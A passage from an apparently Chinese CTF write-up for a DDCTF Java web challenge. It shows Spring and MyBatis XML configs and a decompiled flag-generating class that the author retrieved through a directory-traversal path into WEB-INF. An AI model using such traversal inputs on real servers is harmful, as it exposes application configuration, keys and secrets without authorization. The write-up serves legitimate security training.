class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version="1.0" encoding="UTF-8"?></span></span><br><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:context</span>=<span class="string">"http://www.springframework.org/schema/context"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">context:annotation-config</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">context:component-scan</span> <span class="attr">base-package</span>=<span class="string">"com.didichuxing.ctf.*"</span>/></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!--导入数据连接池配置文件--></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"propertyConfigurer"</span> <span class="attr">class</span>=<span class="string">"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"location"</span> <span class="attr">value</span>=<span class="string">"classpath:properties/db.properties"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"fileEncoding"</span> <span class="attr">value</span>=<span class="string">"utf-8"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!--数据连接池配置--></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"dataSource"</span> <span class="attr">class</span>=<span class="string">"com.alibaba.druid.pool.DruidDataSource"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"driverClassName"</span> <span class="attr">value</span>=<span class="string">"${driverClassName}"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"url"</span> <span class="attr">value</span>=<span class="string">"${url}"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"username"</span> <span class="attr">value</span>=<span class="string">"${username}"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"password"</span> <span class="attr">value</span>=<span class="string">"${password}"</span>/></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!-- 初始化连接大小 --></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"initialSize"</span> <span class="attr">value</span>=<span class="string">"${initialSize}"</span>/></span></span><br><span class="line"> <span class="comment"><!-- 连接池最大数量 --></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"maxActive"</span> <span class="attr">value</span>=<span class="string">"${maxActive}"</span>/></span></span><br><span class="line"> <span class="comment"><!-- 连接池最大空闲 --></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"maxIdle"</span> <span class="attr">value</span>=<span class="string">"${maxIdle}"</span>/></span></span><br><span class="line"> <span class="comment"><!-- 连接池最小空闲 --></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"minIdle"</span> <span class="attr">value</span>=<span class="string">"${minIdle}"</span>/></span></span><br><span class="line"> <span class="comment"><!-- 获取连接最大等待时间 --></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"maxWait"</span> <span class="attr">value</span>=<span class="string">"${maxWait}"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!--Spring Mybatis整合--></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"sqlSessionFactory"</span> <span class="attr">class</span>=<span class="string">"org.mybatis.spring.SqlSessionFactoryBean"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"dataSource"</span> <span class="attr">ref</span>=<span class="string">"dataSource"</span>/></span></span><br><span class="line"> <span class="comment"><!--<property name="mapperLocations" value="classpath:mapper/*.xml"/>--></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"configLocation"</span> <span class="attr">value</span>=<span class="string">"classpath:mybatis/config.xml"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"typeAliasesPackage"</span> <span class="attr">value</span>=<span class="string">"com.didichuxing.ctf.model"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"plugins"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">array</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">class</span>=<span class="string">"com.github.pagehelper.PageHelper"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"properties"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">value</span>></span></span><br><span class="line"> reasonable=true</span><br><span class="line"> <span class="tag"></<span class="name">value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">property</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">array</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">property</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!-- DAO接口所在包名,Spring会自动查找其下的类 --></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">class</span>=<span class="string">"org.mybatis.spring.mapper.MapperScannerConfigurer"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"basePackage"</span> <span class="attr">value</span>=<span class="string">"com.didichuxing.ctf.dao"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"sqlSessionFactoryBeanName"</span> <span class="attr">value</span>=<span class="string">"sqlSessionFactory"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!-- (事务管理)transaction manager, use JtaTransactionManager for global tx --></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"transactionManager"</span> <span class="attr">class</span>=<span class="string">"org.springframework.jdbc.datasource.DataSourceTransactionManager"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"dataSource"</span> <span class="attr">ref</span>=<span class="string">"dataSource"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!-- (init) --></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"initListener"</span> <span class="attr">class</span>=<span class="string">"com.didichuxing.ctf.listener.InitListener"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>然后我们知道了更多的信息,包名<code>com.didichuxing.ctf</code> 使用Mybatis,Dao类<code>com.didichuxing.ctf.da</code> </p><p>我在网上照着教程搭建了一遍Spring-MVC,得知还有一个重要的xml,他会根据web.xml中的servlet-name创建一个servlet-name-servlet.xml,因此就是mvc-dispatcher-servlet.xml。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">beans</span> <span class="attr">xmlns</span>=<span class="string">"http://www.springframework.org/schema/beans"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:context</span>=<span class="string">"http://www.springframework.org/schema/context"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns:mvc</span>=<span class="string">"http://www.springframework.org/schema/mvc"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://www.springframework.org/schema/beans</span></span></span><br><span class="line"><span class="tag"><span class="string"> http://www.springframework.org/schema/beans/spring-beans.xsd</span></span></span><br><span class="line"><span class="tag"><span class="string"> http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">context:component-scan</span> <span class="attr">base-package</span>=<span class="string">"com.didichuxing.ctf"</span>/></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">mvc:annotation-driven</span>/></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"velocityConfigurer"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">class</span>=<span class="string">"org.springframework.web.servlet.view.velocity.VelocityConfigurer"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"resourceLoaderPath"</span> <span class="attr">value</span>=<span class="string">"/WEB-INF/pages/"</span>/></span> //模板存放的位置</span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"velocityProperties"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">props</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">prop</span> <span class="attr">key</span>=<span class="string">"input.encoding"</span>></span>utf-8<span class="tag"></<span class="name">prop</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">prop</span> <span class="attr">key</span>=<span class="string">"output.encoding"</span>></span>utf-8<span class="tag"></<span class="name">prop</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">props</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">property</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"> <span class="comment"><!--配置附加工具,以及将后缀为vm的文件交给下面的Resolver处理--></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">id</span>=<span class="string">"velocityViewResolver"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">class</span>=<span class="string">"org.springframework.web.servlet.view.velocity.VelocityViewResolver"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"suffix"</span> <span class="attr">value</span>=<span class="string">".vm"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">property</span> <span class="attr">name</span>=<span class="string">"contentType"</span> <span class="attr">value</span>=<span class="string">"text/html;charset=utf-8"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">bean</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">mvc:interceptors</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">mvc:interceptor</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">mvc:mapping</span> <span class="attr">path</span>=<span class="string">"/image/banner/"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">mvc:mapping</span> <span class="attr">path</span>=<span class="string">"/image/banner/*"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">mvc:mapping</span> <span class="attr">path</span>=<span class="string">"/image/banner/**"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">bean</span> <span class="attr">class</span>=<span class="string">"com.didichuxing.ctf.interceptor.GlobalInterceptor"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">mvc:interceptor</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">mvc:interceptors</span>></span></span><br><span class="line"><span class="tag"></<span class="name">beans</span>></span></span><br></pre></td></tr></table></figure><p>这里面又给了一个类:<code>com.didichuxing.ctf.interceptor.GlobalInterceptor</code></p><p>先下载InitListener.class:./../../WEB-INF/classes/com/didichuxing/ctf/interceptor/InitListener.class</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by Fernflower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> com.didichuxing.ctf.listener;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.model.Flag;</span><br><span class="line"><span class="keyword">import</span> com.didichuxing.ctf.service.FlagService;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.InputStream;</span><br><span class="line"><span class="keyword">import</span> java.security.InvalidKeyException;</span><br><span class="line"><span class="keyword">import</span> java.security.Key;</span><br><span class="line"><span class="keyword">import</span> java.security.KeyStore;</span><br><span class="line"><span class="keyword">import</span> java.security.KeyStoreException;</span><br><span class="line"><span class="keyword">import</span> java.security.NoSuchAlgorithmException;</span><br><span class="line"><span class="keyword">import</span> java.security.PublicKey;</span><br><span class="line"><span class="keyword">import</span> java.security.SecureRandom;</span><br><span class="line"><span class="keyword">import</span> java.security.UnrecoverableKeyException;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.Certificate;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertificateException;</span><br><span class="line"><span class="keyword">import</span> java.security.cert.CertificateFactory;</span><br><span class="line"><span class="keyword">import</span> java.util.Properties;</span><br><span class="line"><span class="keyword">import</span> java.util.UUID;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.BadPaddingException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.Cipher;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.IllegalBlockSizeException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.Mac;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.NoSuchPaddingException;</span><br><span class="line"><span class="keyword">import</span> javax.crypto.spec.SecretKeySpec;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.io.FileUtils;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.InitializingBean;</span><br><span class="line"><span class="keyword">import</span> org.springframework.beans.factory.annotation.Autowired;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationContext;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationEvent;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.ApplicationListener;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Controller;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.RequestMapping;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.context.WebApplicationContext;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">InitListener</span> <span class="keyword">implements</span> <span class="title">ApplicationListener</span>, <span class="title">InitializingBean</span> </span>{</span><br><span class="line"> <span class="keyword">final</span> String k = <span class="string">"sdl welcome you !"</span>;</span><br><span class="line"> <span class="meta">@Autowired</span></span><br><span class="line"> <span class="keyword">private</span> FlagService flagService;</span><br><span class="line"> <span class="keyword">private</span> Properties properties = <span class="keyword">new</span> Properties();</span><br><span class="line"> <span class="keyword">private</span> String p;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">InitListener</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">afterPropertiesSet</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> System.out.println(<span class="string">"aftrPropertiesSet"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> InputStream inputStream = <span class="keyword">this</span>.getClass().getClassLoader().getResourceAsStream(<span class="string">"/properties/conf.properties"</span>);</span><br><span class="line"> <span class="keyword">this</span>.properties.load(inputStream);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception var2) {</span><br><span class="line"> var2.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.p = <span class="string">"sdl welcome you !"</span>.substring(<span class="number">0</span>, <span class="string">"sdl welcome you !"</span>.length() - <span class="number">1</span>).trim().replace(<span class="string">" "</span>, <span class="string">""</span>);</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="meta">@RequestMapping</span>(<span class="string">"/con"</span>)</span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onApplicationEvent</span><span class="params">(ApplicationEvent event)</span> </span>{</span><br><span class="line"> System.out.println(<span class="string">"start!@"</span>);</span><br><span class="line"> <span class="keyword">if</span> (event.getSource() <span class="keyword">instanceof</span> ApplicationContext) {</span><br><span class="line"> WebApplicationContext ctx = (WebApplicationContext)event.getSource();</span><br><span class="line"> <span class="keyword">if</span> (ctx.getParent() == <span class="keyword">null</span>) {</span><br><span class="line"> String regenflag = <span class="keyword">this</span>.properties.getProperty(<span class="string">"regenflag"</span>);</span><br><span class="line"> <span class="keyword">if</span> (regenflag != <span class="keyword">null</span> && <span class="string">"false"</span>.equals(regenflag)) {</span><br><span class="line"> System.out.println(<span class="string">"skip gen flag"</span>);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">this</span>.flagService.deleteAll();</span><br><span class="line"> <span class="keyword">int</span> id = <span class="number">1</span>;</span><br><span class="line"> String path = ctx.getServletContext().getRealPath(<span class="string">"/WEB-INF/classes/emails.txt"</span>);</span><br><span class="line"> String ksPath = ctx.getServletContext().getRealPath(<span class="string">"/WEB-INF/classes/sdl.ks"</span>);</span><br><span class="line"> System.out.println(<span class="keyword">this</span>.p.toCharArray());</span><br><span class="line"> String emailsString = FileUtils.readFileToString(<span class="keyword">new</span> File(path), <span class="string">"utf-8"</span>);</span><br><span class="line"> String[] emails = emailsString.trim().split(<span class="string">"\n"</span>);</span><br><span class="line"> KeyStore keyStore = KeyStore.getInstance(KeyStore.getDefaultType());</span><br><span class="line"> FileInputStream inputStream = <span class="keyword">new</span> FileInputStream(ksPath);</span><br><span class="line"> keyStore.load(inputStream, <span class="keyword">this</span>.p.toCharArray());</span><br><span class="line"> Key key = keyStore.getKey(<span class="string">"www.didichuxing.com"</span>, <span class="keyword">this</span>.p.toCharArray());</span><br><span class="line"> Cipher cipher = Cipher.getInstance(key.getAlgorithm());</span><br><span class="line"> </span><br><span class="line"> cipher.init(<span class="number">1</span>, key);</span><br><span class="line"> SecretKeySpec signingKey = <span class="keyword">new</span> SecretKeySpec(<span class="string">"sdl welcome you !"</span>.getBytes(), <span class="string">"HmacSHA256"</span>);</span><br><span class="line"> Mac mac = Mac.getInstance(<span class="string">"HmacSHA256"</span>);</span><br><span class="line"> mac.init(signingKey);</span><br><span class="line"> SecureRandom sr = <span class="keyword">new</span> SecureRandom();</span><br><span class="line"> String[] var16 = emails;</span><br><span class="line"> <span class="keyword">int</span> var17 = emails.length;</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> var18 = <span class="number">0</span>; var18 < var17; ++var18) {</span><br><span class="line"> String email = var16[var18];</span><br><span class="line"> String flag = <span class="string">"DDCTF{这里是一个随机数,原来的代码弄丢了}"</span>;</span><br><span class="line"> String uuid = UUID.randomUUID().toString().replace(<span class="string">"-"</span>, <span class="string">"s"</span>);</span><br><span class="line"> <span class="keyword">byte</span>[] data = cipher.doFinal(flag.getBytes());</span><br><span class="line"> <span class="keyword">byte</span>[] e = mac.doFinal(String.valueOf(email.trim()).getBytes());</span><br><span class="line"></span><br><span class="line"> Flag flago = <span class="keyword">new</span> Flag();</span><br><span class="line"> flago.setId(id);</span><br><span class="line"> flago.setFlag(byte2hex(data));</span><br><span class="line"> flago.setEmail(byte2hex(e));</span><br><span class="line"> flago.setOriginFlag(flag);</span><br><span class="line"> flago.setUuid(uuid);</span><br><span class="line"> flago.setOriginEmail(email);</span><br><span class="line"> <span class="keyword">this</span>.flagService.save(flago);</span><br><span class="line"> System.out.println(email + <span class="string">"同学的入口链接为:http://116.85.48.102:5050/welcom/"</span> + uuid);</span><br><span class="line"> ++id;</span><br><span class="line"> System.out.println(flago);</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">catch</span> (KeyStoreException var25) {</span><br><span class="line"> var25.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IOException var26) {</span><br><span class="line"> var26.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchAlgorithmException var27) {</span><br><span class="line"> var27.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (CertificateException var28) {</span><br><span class="line"> var28.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (UnrecoverableKeyException var29) {</span><br><span class="line"> var29.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchPaddingException var30) {</span><br><span class="line"> var30.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (InvalidKeyException var31) {</span><br><span class="line"> var31.printStackTrace();</span><br><span class="line"> } <span class="keyword">catch</span> (IllegalBlockSizeException e) {</span><br><span class="line"><span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">e.printStackTrace();</span><br><span class="line">} <span class="keyword">catch</span> (BadPaddingException e) {</span><br><span class="line"><span class="comment">// TODO Auto-generated catch block</span></span><br><span class="line">e.printStackTrace();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> String <span class="title">byte2hex</span><span class="params">(<span class="keyword">byte</span>[] b)</span> </span>{</span><br><span class="line"> StringBuilder hs = <span class="keyword">new</span> StringBuilder();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span>(<span class="keyword">int</span> n = <span class="number">0</span>; b != <span class="keyword">null</span> && n < b.length; ++n) {</span><br><span class="line"> String stmp = Integer.toHexString(b[n] & <span class="number">255</span>);</span><br><span class="line"> <span class="keyword">if</span> (stmp.length() == <span class="number">1</span>) {</span><br><span class="line"> hs.append(<span class="string">'0'</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> hs.append(stmp);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> hs.toString().toUpperCase();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>从代码中,发现了com.didichuxing.ctf.model.Flag,com.didichuxing.ctf.service.FlagService</p><p>com.didichuxing.ctf.model.Flag</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Source code recreated from a .class file by IntelliJ IDEA</span></span><br><span class="line"><span class="comment">// (powered by Fernflower decompiler)</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">package</span> 